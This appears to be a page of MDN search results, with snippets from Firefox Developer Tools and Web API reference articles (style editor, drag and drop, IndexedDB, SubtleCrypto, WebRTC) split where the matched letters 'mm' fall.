...owser is producing about 60 frames per second. so it will take almost a second to run all the computations, and that's visible in both the user experience and in the profile. using web workers in this version we'll try to fix the problem using a web worker. web workers enable you to run javascript in a separate thread. ...
...And 2 more matches
Style Editor - Firefox Developer Tools
puter by clicking the save button in the bottom-right corner of each sheet's entry in the list. from firefox 40 onwards, the style sheet pane also includes a context menu that lets you open the selected style sheet in a new tab. the editor pane on the right is the editor pane. this is where the source for the selected style sheet is available for you to read and edit. any changes you make are i
mmediately applied to the page. this makes it easy to experiment with, revise, and test changes. once you're satisfied with your changes, you can save a copy locally by clicking the save button on the sheet's entry in the style sheet pane. the editor provides line numbers and syntax highlighting to help make it easier to read your css. it also supports a number of keyboard shortcuts. the style edi...
...rated from them: for this to work, you must: use a css preprocessor that understands the source map revision 3 proposal. currently this means sass 3.3.0 or above or the 1.5.0 version of less. other preprocessors are actively working on adding support, or considering it. actually instruct the preprocessor to generate a source map, for example by passing the --source-map argument to the lass co
mmand-line tool, but in some preprocessors like sass, source maps are generated by default and you don't need to do anything. viewing original sources now, if you check "show original sources" in the style editor settings, the links next to css rules in the rules view will link to the original sources in the style editor. from firefox 35 onwards original sources are displayed by default. editin...
...ng. viewing original sources now, if you check "show original sources" in the style editor settings, the links next to css rules in the rules view will link to the original sources in the style editor. from firefox 35 onwards original sources are displayed by default. editing original sources you can also edit the original sources in the style editor and see the results applied to the page i
mmediately. to get this to work there are two extra steps. first, set up your preprocessor so it watches the original source and automatically regenerates the css when the source changes. with sass you can do this simply by passing the --watch option: sass index.scss:index.css --watch next, save the original source in the style editor by clicking the "save" button next to the file, and saving it ...
...And 2 more matches
Tips - Firefox Developer Tools
settings: choose between a light and a dark theme for the developer tools. change the keyboard bindings to vim, emacs or sublime text if you're used to different shortcuts. ...
... + click on a node to expand or collapse it and all its descendants. click on the last breadcrumb button to scroll the selection into view in the inspector. click the "ev" icon besides a node to see all event listeners attached to it. press s with a node selected to see it in the page (same as right-click a node and click "scroll into view"). right-click a node and click "use in console" to co
mmand line as tempn variable. when selecting elements: shift + click to select an element but keep selecting (picker mode doesn't disengage). use ←/→ to navigate to parents/children elements (if they're hard to select). in the rules view: click the inspector icon () next to any selector to highlight all elements that match it. click the inspector icon () next to the element{} rule to...
...docs" to view the mdn docs for this property. click on the filter icon () next to an overridden property to find which other property overrides it. right-click on a name, value, or rule to copy anything from the name, the value, the declaration or the whole rule to your clipboard. web console in all panels: esc opens the split console; useful when debugging, or inspecting nodes in the co
mmand line: $0 references the currently selected node. $() is a shortcut to document.queryselector(). $$() returns an array with the results from document.queryselectorall(). copy copies anything as a string. right-click a node in the inspector and click "use in console" to create a tempn variable for it. cd switches the javascript evaluation context to a different iframe in the page. conso...
...And 2 more matches
Console messages - Firefox Developer Tools
he time the message was recorded. method the specific http request method. if the request was made as an xmlhttprequest, there's an additional "xhr" tag indicating this. if more information is available, a disclosure triangle lets you display it, in an embedded panel that is identical to the network monitor request details. uri the target uri. su
mmary the http version, response code, and time taken to complete. clicking the response code takes you to the reference page for that code. the context menu for network messages includes a few extra items in addition the globally-available ones: copy link location acts as you would expect, copying the url into the clipboard open in network panel switches context to the network t...
...e reflow is a synchronous reflow triggered from javascript, it also shows a link to the line of code that triggered the reflow. click the link to open the file in the debugger. synchronous and asynchronous reflows if a change is made that invalidates the current layout — for example, the browser window is resized or some javascript modifies an element's css — the layout is not recalculated i
mmediately. instead, the reflow happens asynchronously, the next time the browser decides it needs to be done (generally, the next time the browser repaints). in this way the browser can save up a collection of invalidating changes and recalculate their effect at once. however, if some javascript code reads a style that has been modified, then the browser must perform a synchronous reflow in order ...
...s it needs to be done (generally, the next time the browser repaints). in this way the browser can save up a collection of invalidating changes and recalculate their effect at once. however, if some javascript code reads a style that has been modified, then the browser must perform a synchronous reflow in order to calculate the computed style to return. ...
...And 2 more matches
Broadcast Channel API - Web APIs
broadcast channel interface creating or joining a channel a client joins a broadcast channel by creating a broadcastchannel object. ...
... broadcast channel interface creating or joining a channel a client joins a broadcast channel by creating a broadcastchannel object. ...
...orkers on the same origin. note: this feature is available in web workers. by creating a broadcastchannel object, you can receive any messages that are posted to it. you don't have to maintain a reference to the frames or workers you wish to co
mmunicate with: they can “subscribe” to a particular channel by constructing their own broadcastchannel with the same name, and have bi-directional co
mmunication between all of them. broadcast channel interface creating or joining a channel a client joins a broadcast channel by creating a broadcastchannel object. its constructor takes one single parameter: the name of the channel. if it is the first to connect to that broadcast channel name, the underlying channel is created. // connection to a broadcast channel const bc = new broadcastchan...
...And 2 more matches
CSSRule - Web APIs
"h1,h2 { font-size: 16pt }" or "@import 'url'". ...
..."h1,h2 { font-size: 16pt }" or "@import 'url'". to access or modify parts of the rule (e.g. ...
...he type constants indicating the type of css rule. constants type constants the cssrule interface specifies integer constants that can be used in conjunction with a cssrule's type property to discern the rule type (and therefore, which specialized interface it implements). the relationships between these constants and the interfaces are: type value rule-specific interface co
mments and examples cssrule.style_rule 1 cssstylerule the most co
mmon kind of rule: selector { prop1: val1; prop2: val2; } cssrule.import_rule 3 cssimportrule an @import rule. (until the documentation is completed, see the interface definition in the mozilla source code: nsidomcssimportrule.) cssrule.media_rule 4 cssmediarule cssrul...
...And 2 more matches
Element.querySelectorAll() - Web APIs
= parentnode.queryselectorall(selectors); parameters selectors a domstring containing one or more selectors to match against. this string must be a valid css selector string; if it's not, a syntaxerror exception is thrown. see locating dom elements using selectors for more information about using selectors to identify elements. multiple selectors may be specified by separating them using co
mmas. note: characters which are not part of standard css syntax must be escaped using a backslash character. since javascript also uses backspace escaping, special care must be taken when writing string literals using these characters. see escaping special characters for more information. return value a non-live nodelist containing one element object for each descendant node that matches at l...
... var container = document.queryselector("#test"); var matches = container.queryselectorall("div.highlighted > p"); this example uses an attribute selector to return a list of the iframe elements in the document that contain an attribute named "data-src": var matches = document...
...selector("#userlist"); var matches = container.queryselectorall("li[data-active='1']"); accessing the matches once the nodelist of matching elements is returned, you can examine it just like any array. if the array is empty (that is, its length property is 0), then no matches were found. otherwise, you can simply use standard array notation to access the contents of the list. you can use any co
mmon looping statement, such as: var highlighteditems = userlist.queryselectorall(".highlighted"); highlighteditems.foreach(function(useritem) { deleteuser(useritem); }); note: nodelist is not a genuine array, that is to say it doesn't have the array methods like slice, some, map etc. to convert it into an array, try array.from(nodelist). user notes queryselectorall() behaves differently th...
...And 2 more matches
EventTarget.addEventListener() - Web APIs
addeventlistener() works by adding a function or an object that implements eventlistener to the list of event listeners for the specified event type on the eventtarget on which it's called. ...
...ter, if passivesupported is true, we're specifying an options object with passive set to true; otherwise, we know that we need to pass a boolean, and we pass false as the value of the usecapture parameter. if you'd prefer, you can use a third-party library like modernizr or detect it to do this test for you. you can learn more from the article about eventlisteneroptions from the web incubator co
mmunity group. examples add a simple listener this example demonstrates how to use addeventlistener() to watch for mouse clicks on an element. html <table id="outside"> <tr><td id="t1">one</td></tr> <tr><td id="t2">two</td></tr> </table> javascript // function to change the content of t2 function modifytext() { const t2 = document.getelementbyid("t2"); if (t2.firstchild.nodevalue == ...
... event.preventdefault(); alert('inner1, passive, open new page'); } function nonepassivehandler(event) { event.preventdefault(); //event.stoppropagation(); ...
...And 2 more matches
Introduction to the File and Directory Entries API - Web APIs
the reference landing page and its subpages. the specification is still being defined and is subject to change. overview the file and directory entries api includes both asynchronous and synchronous versions of the interfaces. the asynchronous api can be used in cases where you don't want an outstanding operation to block the ui. the synchronous api, on the other hand, allows for simpler progra
mming model, but it must be used with webworkers. usefulness of the api the file and directory entries api is an important api for the following reasons: it lets apps have offline and storage features that involve large binary blobs. it can improve performance by letting an app pre-fetch assets in the background and cache locally. it lets users of your web app directly edit a binary file tha...
...ystemurl(). these methods are members of both the window object and the worker global scope. the synchronous api, on the other hand, uses the following methods: requestfilesystemsync() and resolvelocalfilesystemsyncurl(). these synchronous methods are members of the worker's global scope only, not the window object. the synchronous api can be simpler for some tasks. its direct, in-order progra
mming model can make code easier to read. the drawback of synchronous api has to do with its interactions with web workers, which has some limitations. when using the asynchronous api, always use the error callbacks when using the asynchronous api, always use the error callbacks. although the error callbacks for the methods are optional parameters, they are not optional for your sanity. you want t...
...es api interacts with other apis the file and directory entries api is designed to be used with other apis and elements on the web platform. for example, you are likely to use one of the following: xmlhttprequest (such as the send() method for file and blob objects) drag and drop api web workers (for the synchronous version of the file and directory entries api) the input element (to progra
mmatically obtain a list of files from the element) the file and directory entries api is case sensitive the filesystem api is case-sensitive, and case-preserving. restrictions for security reasons, browsers impose restrictions on file access. if you ignore them, you will get security errors. the file and directory entries api adheres to the same-origin policy the file and directory entrie...
...And 2 more matches
HTMLButtonElement - Web APIs
es information submitted by the button. if specified, this attribute overrides the action attribute of the <form> element that owns this element. htmlbuttonelement.formenctype is a domstring reflecting the type of content that is used to submit the form to the server. if specified, this attribute overrides the enctype attribute of the <form> element that owns this element. htmlbuttonelement.for
mmethod is a domstring reflecting the http method that the browser uses to submit the form. if specified, this attribute overrides the method attribute of the <form> element that owns this element. htmlbuttonelement.formnovalidate is a boolean indicating that the form is not to be validated when it is submitted. if specified, this attribute overrides the novalidate attribute of the <form> element...
...eset or button elements. reportvalidity() boolean not supported for reset or button elements. setcustomvalidity(in domstring error) void not supported for reset or button elements. with gecko-based browser, use the :-moz-submit-invalid pseudo-class to style submit buttons based on the validation of a form. ...
...s. with gecko-based browser, use the :-moz-submit-invalid pseudo-class to style submit buttons based on the validation of a form. specifications specification status co
mment html living standardthe definition of 'htmlbuttonelement' in that specification. living standard html 5.2the definition of 'htmlbuttonelement' in that specification. reco
mmendation the menu attribute and type="menu" value have been removed. html 5.1the definition of 'htmlbuttonelement' in that specification. ...
...And 2 more matches
HTMLDetailsElement: toggle event - Web APIs
handler property none default action toggles the open state of the <details> element. examples this example logs chapters that are open. chapters are removed from the log when they are closed. ...
... default action toggles the open state of the <details> element. examples this example logs chapters that are open. chapters are removed from the log when they are closed. html <aside id="log"> <b>open chapters:</b> <div data-id="ch1" hidden>i</div> <div data-id="ch2" hidden>ii</div> <div data-id="ch3" hidden>iii</div> </aside> <section id="su
mmaries"> <b>chapter su
mmaries:</b> <details id="ch1"> <su
mmary>chapter i</su
mmary> philosophy reproves boethius for the foolishness of his complaints against fortune. her very nature is caprice. </details> <details id="ch2"> <su
mmary>chapter ii</su
mmary> philosophy in fortune's name replies to boethius' reproaches, and proves that the gifts of fortune are hers to give and to take away. </details> ...
...1"> <su
mmary>chapter i</su
mmary> philosophy reproves boethius for the foolishness of his complaints against fortune. her very nature is caprice. </details> <details id="ch2"> <su
mmary>chapter ii</su
mmary> philosophy in fortune's name replies to boethius' reproaches, and proves that the gifts of fortune are hers to give and to take away. </details> <details id="ch3"> <su
mmary>chapter iii</su
mmary> boethius falls back upon his present sense of misery. philosophy reminds him of the brilliancy of his former fortunes. ...
...And 2 more matches
HTMLImageElement - Web APIs
from a client-side image map, specified using an <img> element and a corresponding <map> which contains <area> elements indicating the clickable areas in the image. the image must be contained within an <a> element; see the ismap page for details. htmlimageelement.loading a domstring providing a hint to the browser used to optimize loading the document by determining whether to load the image i
mmediately (eager) or on an as-needed basis (lazy). htmlimageelement.naturalheight read only returns an integer value representing the intrinsic height of the image in css pixels, if it is available; else, it shows 0. this is the height the image would be if it were rendered at its natural full size. htmlimageelement.naturalwidth read only an integer value representing the intrinsic width of t...
... rendered at its natural full size. htmlimageelement.referrerpolicy a domstring that reflects the referrerpolicy html attribute, which tells the user agent how to decide which referrer to use in order to fetch the image. read this article for details on the possible values of this string. htmlimageelement.sizes a domstring reflecting the sizes html attribute. this string specifies a list of co
mma-separated conditional sizes for the image; that is, for a given viewport size, a particular image size is to be used. read the documentation on the sizes page for details on the format of this string. htmlimageelement.src a usvstring that reflects the src html attribute, which contains the full url of the image including base uri. you can load a different image into the element by changing the...
...for details on the format of this string. htmlimageelement.src a usvstring that reflects the src html attribute, which contains the full url of the image including base uri. you can load a different image into the element by changing the url in the src attribute. htmlimageelement.srcset a usvstring reflecting the srcset html attribute. this specifies a list of candidate images, separated by co
mmas (',', u+002c co
mma). each candidate image is a url followed by a space, followed by a specially-formatted string indicating the size of the image. the size may be specified either the width or a size multiple. read the srcset page for specifics on the format of the size substring. htmlimageelement.usemap a domstring reflecting the usemap html attribute, containing the page-local url of the <m...
...And 2 more matches
Drag Operations - Web APIs
eing dragged to check whether a drop is allowed. for instance, a drop target that accepts links would check for the type text/uri-list. during a drop event, a listener would retrieve the data being dragged and insert it at the drop location. the drag data's types property returns a list of mime-type like domstrings, such as text/plain or image/jpeg. you can also create your own types. the most co
mmonly used types are listed in the article reco
mmended drag types. a drag may include data items of several different types. this allows data to be provided in more specific types, often custom types, yet still provide fallback data for drop targets that do not support more specific types. it is usually the case that the least specific type will be normal text data using the type text/plain. this ...
...e from attribute-defined event listeners, or by calling the event's preventdefault() method. the latter may be more feasible in a function defined in a separate script. <div ondragover="return false"> <div ondragover="event.preventdefault()"> calling the preventdefault() method during both a dragenter and dragover event will indicate that a drop is allowed at that location. ...
...to do this, you can check the types property of the event's datatransfer (property). the types property returns an array of the string types that were added when the drag began, in the order from most significant to least significant. ...
...And 2 more matches
HTML Drag and Drop API - Web APIs
s follows the pointer during the drag operation. for web sites, extensions, and xul applications, you can customize which elements can become draggable, the type of feedback the draggable elements produce, and the droppable elements. this overview of html drag and drop includes a description of the interfaces, basic steps to add drag-and-drop support to an application, and an interoperability su
mmary of the interfaces. drag events html drag-and-drop uses the dom event model and drag events inherited from mouse events. a typical drag operation begins when a user selects a draggable element, drags the element to a droppable element, and then releases the dragged element. during drag operations, several event types are fired, and some events might fire many times, such as the drag and drag...
...g …a dragged item (element or text selection) is dragged. dragend ondragend …a drag operation ends (such as releasing a mouse button or hitting the esc key; see finishing a drag.) dragenter ondragenter …a dragged item enters a valid drop target. (see specifying drop targets.) dragexit ondragexit …an element is no longer the drag operation's i
mmediate selection target. dragleave ondragleave …a dragged item leaves a valid drop target. dragover ondragover …a dragged item is being dragged over a valid drop target, every few hundred milliseconds. dragstart ondragstart …the user starts dragging an item. (see starting a drag operation.) drop ondrop …an item is dropped on a val...
...lla and firefox support some features not in the standard drag-and-drop model. these are convenience functions to help with dragging multiple items or non-string data (such as files). for more information, see dragging and dropping multiple items. additionally, see the datatransfer reference page for all of the gecko-specific properties and gecko-specific methods. the basics this section is a su
mmary of the basic steps to add drag-and-drop functionality to an application. identify what is draggable making an element draggable requires adding the draggable attribute and the ondragstart global event handler, as shown in the following code sample: <script> function dragstart_handler(ev) { // add the target element's id to the data transfer object ev.datatransfer.setdata("text/pla...
...And 2 more matches
IDBTransaction - Web APIs
ndard) readwriteflush mode (see idbdatabase.transaction. properties idbtransaction.db read only the database connection with which this transaction is associated. idbtransaction.error read only returns a domexception indicating the type of error that occured when there is an unsuccessful transaction. this property is null if the transaction is not finished, is finished and successfully co
mmitted, or was aborted with theidbtransaction.abort() function. idbtransaction.mode read only the mode for isolating access to data in the object stores that are in the scope of the transaction. the default value is readonly. idbtransaction.objectstorenames read only returns a domstringlist of the names of idbobjectstore objects associated with the transaction. methods inherits from: event...
...on. methods inherits from: eventtarget idbtransaction.abort() rolls back all the changes to objects in the database associated with this transaction. if this transaction has been aborted or completed, this method fires an error event. idbtransaction.objectstore() returns an idbobjectstore object representing an object store that is part of the scope of this transaction. idbtransaction.co
mmit() for an active transaction, co
mmits the transaction. note that this doesn't normally have to be called — a transaction will automatically co
mmit when all outstanding requests have been satisfied and no new requests have been made. co
mmit() can be used to start the co
mmit process without waiting for events from outstanding requests to be dispatched. events listen to these events using add...
...if you'd like to contribute to the data, pl...
...And 2 more matches
Using IndexedDB - Web APIs
needed if it is needed to support the object's constants for older browsers window.idbkeyrange = window.idbkeyrange || window.webkitidbkeyrange || window.msidbkeyrange; // (mozilla has never prefixed these objects, so we don't need window.mozidb*) beware that implementations that use a prefix may be buggy, or incomplete, or following an old version of the specification. therefore, it is not reco
mmended to use it in production code. it may be preferable to not support a browser than to claim to support it and fail: if (!window.indexeddb) { console.log("your browser doesn't support a stable version of indexeddb. such and such feature will not be available."); } opening a database we start the whole process like this: // let us open our database var request = window.indexeddb.open("m...
...m, an error event (that is, a dom event whose type property is set to "error") is fired at request. this triggers the onerror() function with the error event as its argument. the indexeddb api is designed to minimize the need for error handling, so you're not likely to see many error events (at least, not once you're used to the api!). in the case of opening a database, however, there are some co
mmon conditions that generate error events. the most likely problem is that the user decided not to give your web app permission to create a database. one of the main design goals of indexeddb is to allow large amounts of data to be stored for offline use. (to learn more about how much storage you can have for each browser, see storage limits.) obviously, browsers do not want to allow some advert...
...bles to the transaction, and then finally to the database object. if you want to avoid adding error handlers to every request, you can instead add a single error handler on the database object, like so: db.onerror = function(event) { // generic error handler for all errors targeted at this database's // requests! console.error("database error: " + event.target.errorcode); }; one of the co
mmon possible errors when opening a database is ver_err. it indicates that the version of the database stored on the disk is greater than the version that you are trying to open. this is an error case that must always be handled by the error handler. creating or updating the version of the database when you create a new database or increase the version number of an existing database (by specifying...
...And 2 more matches
Intersection Observer API - Web APIs
ct changes by a requested amount. this way, sites no longer need to do anything on the main thread to watch for this kind of element intersection, and the browser is free to optimize the management of intersections as it sees fit. ...
...left { bottom: 2px; left: 2px; } .bottomright { bottom: 2px; right: 2px; } let observers = []; startup = () => { let wrapper = document.queryselector(".wrapper"); // options for the observers let observeroptions = { root: null, rootmargin: "0px", threshold: [] }; // an array of threshold sets for each of the boxes. the // first box's thresholds are set progra
mmatically // since there will be so many of them (for each percentage // point). let thresholdsets = [ [], [0.5], [0.0, 0.1, 0.2, 0.3, 0.4, 0.5, 0.6, 0.7, 0.8, 0.9, 1.0], [0, 0.25, 0.5, 0.75, 1.0] ]; for (let i=0; i<=1.0; i+= 0.01) { thresholdsets[0].push(i); } // add each box, creating a new observer for each for (let i=0; i<4; i++) { let template = docu...
...n intersections will occur. the target element's bounding rectangle (that is, the smallest rectangle that fully encloses the bounding boxes of every component that makes up the element) is obtained by calling getboundingclientrect() on the target. this is the largest the intersection rectangle may be. the remaining steps will remove any portions that don't intersect. starting at the target's i
mmediate parent block and moving outward, each containing block's clipping (if any) is applied to the intersection rectangle. a block's clipping is determined based on the intersection of the two blocks and the clipping mode (if any) specified by the overflow property. setting overflow to anything but visible causes clipping to occur. if one of the containing elements is the root of a nested browsi...
...And 2 more matches
PerformanceResourceTiming.fetchStart - Web APIs
example in the following example, the value of the *start and *end properties of all "resource" type events are logged. ...
... example in the following example, the value of the *start and *end properties of all "resource" type events are logged. ...
... example in the following example, the value of the *start and *end properties of all "resource" type events are logged. ...
...And 2 more matches
Performance API - Web APIs
methods and properties used to observe performance measurement events and be notified of new performance entries as they are recorded in the browser's performance timeline. performanceresourcetiming provides methods and properties for retrieving and analyzing detailed network timing data regarding the loading of an application's resources. specifications specification status co
mment high resolution time reco
mmendation initial definition. high resolution time level 2 reco
mmendation adds performance attribute on window and workerglobalscope. high resolution time level 3 editor's draft add timeorigin property to performance interface. frame timing draft adds performanceframetiming interface. navigation timi...
...adds timing and navigation properties to the performance interface. navigation timing level 2 working draft adds the performancenavigationtiming interface. ...
...rmancenavigation interfaces. adds timing and navigation properties to the performance interface. navigation timing level 2 working draft adds the performancenavigationtiming interface. obsolete's the the performancetiming interface, the performancenavigation interface, as well as the timing and navigation properties to the performance interface. ...
...And 2 more matches
RTCDtlsTransport - Web APIs
tcdtlstransport; that is, every rtcrtpsender and rtcrtpreceiver, has its own transport, and all rtcdatachannel objects share a transport dedicated to sctp. when using bundle when the connection is using bundle, each rtcdtlstransport object represents a group of rtcrtptransceiver objects. if the connection was created using max-compat mode, each transport is responsible for handling all of the co
mmunications for a given type of media (audio, video, or data channel). thus, a connection that has any number of audio and video channels will always have exactly one dtls transport for audio and one for video co
mmunications. because transports are established early in the negotiation process, it's likely that it won't be known until after they're created whether or not the remote peer supports bu...
...ch track, then see them get bundled up once it's known that bundling is possible. if your code accesses rtcrtpsenders and/or rtcrtpreceivers directly, you may encounter situations where they're initially separate, then half or more of them get closed and the senders and receivers updated to refer to the appropriate remaining rtcdtlstransport objects. data channels rtcdatachannels use sctp to co
mmunicate. all of a peer connection's data channels share a single rtcsctptransport, found in the connection's sctp property. you can, in turn, identify the rtcdtlstransport used to securely encapsulate the data channels' sctp co
mmunications by looking at the rtcsctptransport object's transport property. examples this example presents a function, tallysenders(), which iterates over an rtcpeerconn...
... ...
...And 2 more matches
SpeechRecognition.start() - Web APIs
the start() method of the web speech api starts the speech recognition service listening to incoming audio with intent to recognize gra
mmars associated with the current speechrecognition. syntax myspeechrecognition.start(); parameters none. return value void. ...
... the start() method of the web speech api starts the speech recognition service listening to incoming audio with intent to recognize gra
mmars associated with the current speechrecognition. syntax myspeechrecognition.start(); parameters none. return value void. ...
... the start() method of the web speech api starts the speech recognition service listening to incoming audio with intent to recognize gra
mmars associated with the current speechrecognition. syntax myspeechrecognition.start(); parameters none. return value void. ...
...And 2 more matches
SubtleCrypto.encrypt() - Web APIs
the operation failed for an operation-specific reason (e.g. algorithm parameters of invalid sizes, or aes-gcm plaintext longer than 2³⁹−256 bytes). supported algorithms the web crypto api provides four algorithms that support the encrypt() and decrypt() operations. one of these algorithms — rsa-oaep — is a public-key cryptosystem. ...
...rsa-oaep — is a public-key cryptosystem. the other three encryption algorithms here are all sy
mmetric algorithms, and they're all based on the same underlying cipher, aes (advanced encryption standard). the difference between them is the mode. the web crypto api supports three different aes modes: ctr (counter mode) cbc (cipher block chaining) gcm (galois/counter mode) it's strongly reco
mmended to use authenticated encryption, which includes checks that the ciphertext has not been modified by an attacker. authentication helps protect against chosen-ciphertext attacks, in which an attacker can ask the system to decrypt arbitrary messages, and use the result to deduce information about the secret key. while it's possible to add authentication to ctr and cbc modes, they do not provide...
...ttacks, in which an attacker can ask the system to decrypt arbitrary messages, and use the result to deduce information about the secret key. while it's possible to add authentication to ctr and cbc modes, they do not provide it by default and when implementing it manually one can easily make minor, but serious mistakes. gcm does provide built-in authentication, and for this reason it's often reco
mmended over the other two aes modes. rsa-oaep the rsa-oaep public-key encryption system is specified in rfc 3447. aes-ctr this represents aes in counter mode, as specified in nist sp800-38a. aes-cbc this represents aes in cipher block chaining mode, as specified in nist sp800-38a. aes-gcm this represents aes in galois/counter mode, as specified in nist sp800-38d. one major difference betwe...
...And 2 more matches
SubtleCrypto - Web APIs
rns a promise that fulfills with a boolean value indicating if the signature given as a parameter matches the text, algorithm, and key that are also given as parameters. subtlecrypto.digest() returns a promise that fulfills with a digest generated from the algorithm and text given as parameters. subtlecrypto.generatekey() returns a promise that fulfills with a newly-generated cryptokey, for sy
mmetrical algorithms, or a cryptokeypair, containing two newly generated keys, for asy
mmetrical algorithms. these will match the algorithm, usages, and extractability given as parameters. subtlecrypto.derivekey() returns a promise that fulfills with a newly generated cryptokey derived from the master key and specific algorithm given as parameters. subtlecrypto.derivebits() returns a promise that...
...rithm given as parameters. subtlecrypto.importkey() returns a promise that fulfills with a cryptokey corresponding to the format, the algorithm, raw key data, usages, and extractability given as parameters. subtlecrypto.exportkey() returns a promise that fulfills with a buffer containing the key in the requested format. subtlecrypto.wrapkey() returns a promise that fulfills with a wrapped sy
mmetric key for usage (transfer and storage) in insecure environments. the wrapped key matches the format specified in the given parameters, and wrapping is done by the given wrapping key, using the specified algorithm. subtlecrypto.unwrapkey() returns a promise that fulfills with a cryptokey corresponding to the wrapped key given in the parameter. using subtlecrypto we can split the functions ...
...re cryptokey objects. supported algorithms the cryptographic functions provided by the web crypto api can be performed by one or more different cryptographic algorithms: the algorithm argument to the function indicates which algorithm to use. some algorithms need extra parameters: in these cases the algorithm argument is a dictionary object that includes the extra parameters. ...
...And 2 more matches
TextRange - Web APIs
hread only returns the width of the rectangle bound to the textrange object. textrange.htmltext gets or sets the html content within the textrange. textrange.text gets or sets the plaintext content within the textrange. methods textrange.collapse() move the caret to the beginning or end of the current range. textrange.duplicate() returns a copy of textrange. textrange.execco
mmand() executes a co
mmand on the current document, the current selection, or the given scope. textrange.expand() expand the range to include the full range of specified units. for example, expanding a "word" means that the words at both ends of the range will completely included in the range. xpand to wor may become expand to words, etc. textrange.findtext() searches the specified text in the ...
...t element that contains the range completely. if the selection contains more than one element, when you modify the contents of the selection, the contents will be placed in the corresponding position of the parent element instead of the child element. textrange.pastehtml() paste the html content into the given range and replace any previous text and html elements in the range. ...
...ns more than one element, when you modify the contents of the selection, the contents will be placed in the corresponding position of the parent element instead of the child element. textrange.pastehtml() paste the html content into the given range and replace any previous text and html elements in the range. ...
...And 2 more matches
ValidityState.typeMismatch - Web APIs
m to the constraints set by the type, the typemismatch property will be true. the email input type expects one or more valid email addresses, depending on whether the multiple attribute is present. a valid email address includes an email prefix and a domain, with or without a top level domain. if the value of the email input is not an empty string, a single valid e-mail address, or one or more co
mma separated email address if the multiple attribute is present, there is a typemismatch. the url input type expects one or more valid email urls, depending on whether the multiple attribute is present. a valid url includes a protocol, optionally with an ip address, or an optional subdomain, domain, and top level domain combination. if the value of the url input is not an empty string, a single v...
...f the multiple attribute is present, there is a typemismatch. the url input type expects one or more valid email urls, depending on whether the multiple attribute is present. a valid url includes a protocol, optionally with an ip address, or an optional subdomain, domain, and top level domain combination. if the value of the url input is not an empty string, a single valid url, or one or more co
mma separated urls if the multiple attribute is present, there is a typemismatch. type attribute conformance input type value expected value email x@y or x@y.z email address, with or without tld url x: or x://y.z protocol or full url with protocol examples given the following: <p> <label> enter an email address: <input type="email...
... errors and is only relevant for the email and url types. when the value provided doesn't match the expected value based on the type for other input types, you get different errors. for example, if the number input value is not a floating point number, the badinput is true. if the email is required but is empty, the valuemissing will be true. ...
...And 2 more matches
WebGLRenderingContext - Web APIs
to an implementation of opengl es 3.0 graphics. constants see the webgl constants page. the webgl context the following properties and methods provide general information and functionality to deal with the webgl context: webglrenderingcontext.canvas a read-only back-reference to the htmlcanvaselement. might be null if it is not associated with a <canvas> element. webglrenderingcontext.co
mmit() pushes frames back to the original htmlcanvaselement, if the context is not directly fixed to a specific canvas. webglrenderingcontext.drawingbufferwidth the read-only width of the current drawing buffer. should match the width of the canvas element associated with this context. webglrenderingcontext.drawingbufferheight the read-only height of the current drawing buffer. should mat...
...ingcontext.getuniformlocation() returns the location of a uniform variable. webglrenderingcontext.getvertexattrib() returns information about a vertex attribute at a given position. webglrenderingcontext.getvertexattriboffset() returns the address of a given vertex attribute. webglrenderingcontext.uniform[1234][fi][v]() specifies a value for a uniform variable. webglrenderingcontext.unifor
mmatrix[234]fv() specifies a matrix value for a uniform variable. webglrenderingcontext.vertexattrib[1234]f[v]() specifies a value for a generic vertex attribute. webglrenderingcontext.vertexattribpointer() specifies the data formats and locations of vertex attributes in a vertex attributes array. drawing buffers webglrenderingcontext.clear() clears specified buffers to preset values. we...
...ats and locations of vertex attributes in a vertex attributes array. drawing buffers webglrenderingcontext.clear() clears specified buffers to preset values. webglrenderingcontext.drawarrays() renders primitives from array data. webglrenderingcontext.drawelements() renders primitives from element array data. webglrenderingcontext.finish() blocks execution until all previously called co
mmands are finished. webglrenderingcontext.flush() empties different buffer co
mmands, causing all co
mmands to be executed as quickly as possible. working with extensions these methods manage webgl extensions: webglrenderingcontext.getsupportedextensions() returns an array of domstring elements with all the supported webgl extensions. webglrenderingcontext.getextension() returns an extensi...
...And 2 more matches
WebRTC connectivity - Web APIs
ong peers. note: this page needs heavy rewriting for structural integrity and content completeness. lots of info here is good but the organization is a mess since this is sort of a dumping ground right now. signaling unfortunately, webrtc can’t create connections without some sort of server in the middle. we call this the signal channel or signaling service. it’s any sort of channel of co
mmunication to exchange information before setting up a connection, whether by email, post card or a carrier pigeon... it’s up to you. the information we need to exchange is the offer and answer which just contains the sdp mentioned below. peer a who will be the initiator of the connection, will create an offer. they will then send this offer to peer b using the chosen signal channel. peer b wil...
...tc and which are compatible with which browsers. the codecs guide also offers guidance to help you choose the best codecs for your needs. ice candidates as well as exchanging information about the media (discussed above in offer/answer and sdp), peers must exchange information about the network connection. this is known as an ice candidate and details the available methods the peer is able to co
mmunicate (directly or through a turn server). typically, each peer will propose its best candidates first, making their way down the line toward their worse candidates. ideally, candidates are udp (since it's faster, and media streams are able to recover from interruptions relatively easily), but the ice standard does allow tcp candidates as well. generally, ice candidates using tcp are only goin...
... a few types of candidate, with the candidate types defining how the data makes its way from peer to peer. udp candidate types udp candidates (candidates with their protocol set to udp) can be one of these types: host a host candidate is one for which its ip address is the actual, direct ip address of the remote peer. prflx a peer reflexive candidate is one whose ip address comes from a sy
mmetric nat between the two peers, usually as an additional candidate during trickle ice (that is, additional candidate exchanges that occur after primary signaling but before the connection verification phase is finished). srflx a server reflexive candidate is generated by a stun/turn server; the connection's initiator requests a candidate from the stun server, which forwards the request through ...
...And 2 more matches
WebRTC Statistics API - Web APIs
s as input an rtcstatsreport object containing the statistics information. this object contains a map of named dictionaries based on rtcstats and its affiliated types. this example specifically looks for the report whose type is inbound-rtp and whose kind is video. this way, we look only at the video-related statistics for the local rtcrtpreceiver responsible for receiving the streamed media. co
mmonly used statistics reference the rtcstatsreport object contains a map of named objects based one of the rtcstats dictionary's subclasses. upon looking up a statistic category by name, you get an object containing the corresponding data. the table below shows the statistic categories and the corresponding dictionaries; for each statistic category, the full hierarchy of rtcstats-based dictionari...
... transceiver statistics related to a specific rtcrtptransceiver. rtcrtptransceiverstats rtcstats transport statistics about a transport used by the connection. ...
...s rtcstats transport statistics about a transport used by the connection. rtctransportstats rtcstats specifications specification status co
mment identifiers for webrtc's statistics apithe definition of 'webrtc statistics types' in that specification. ...
...And 2 more matches
Geometry and reference spaces in WebXR - Web APIs
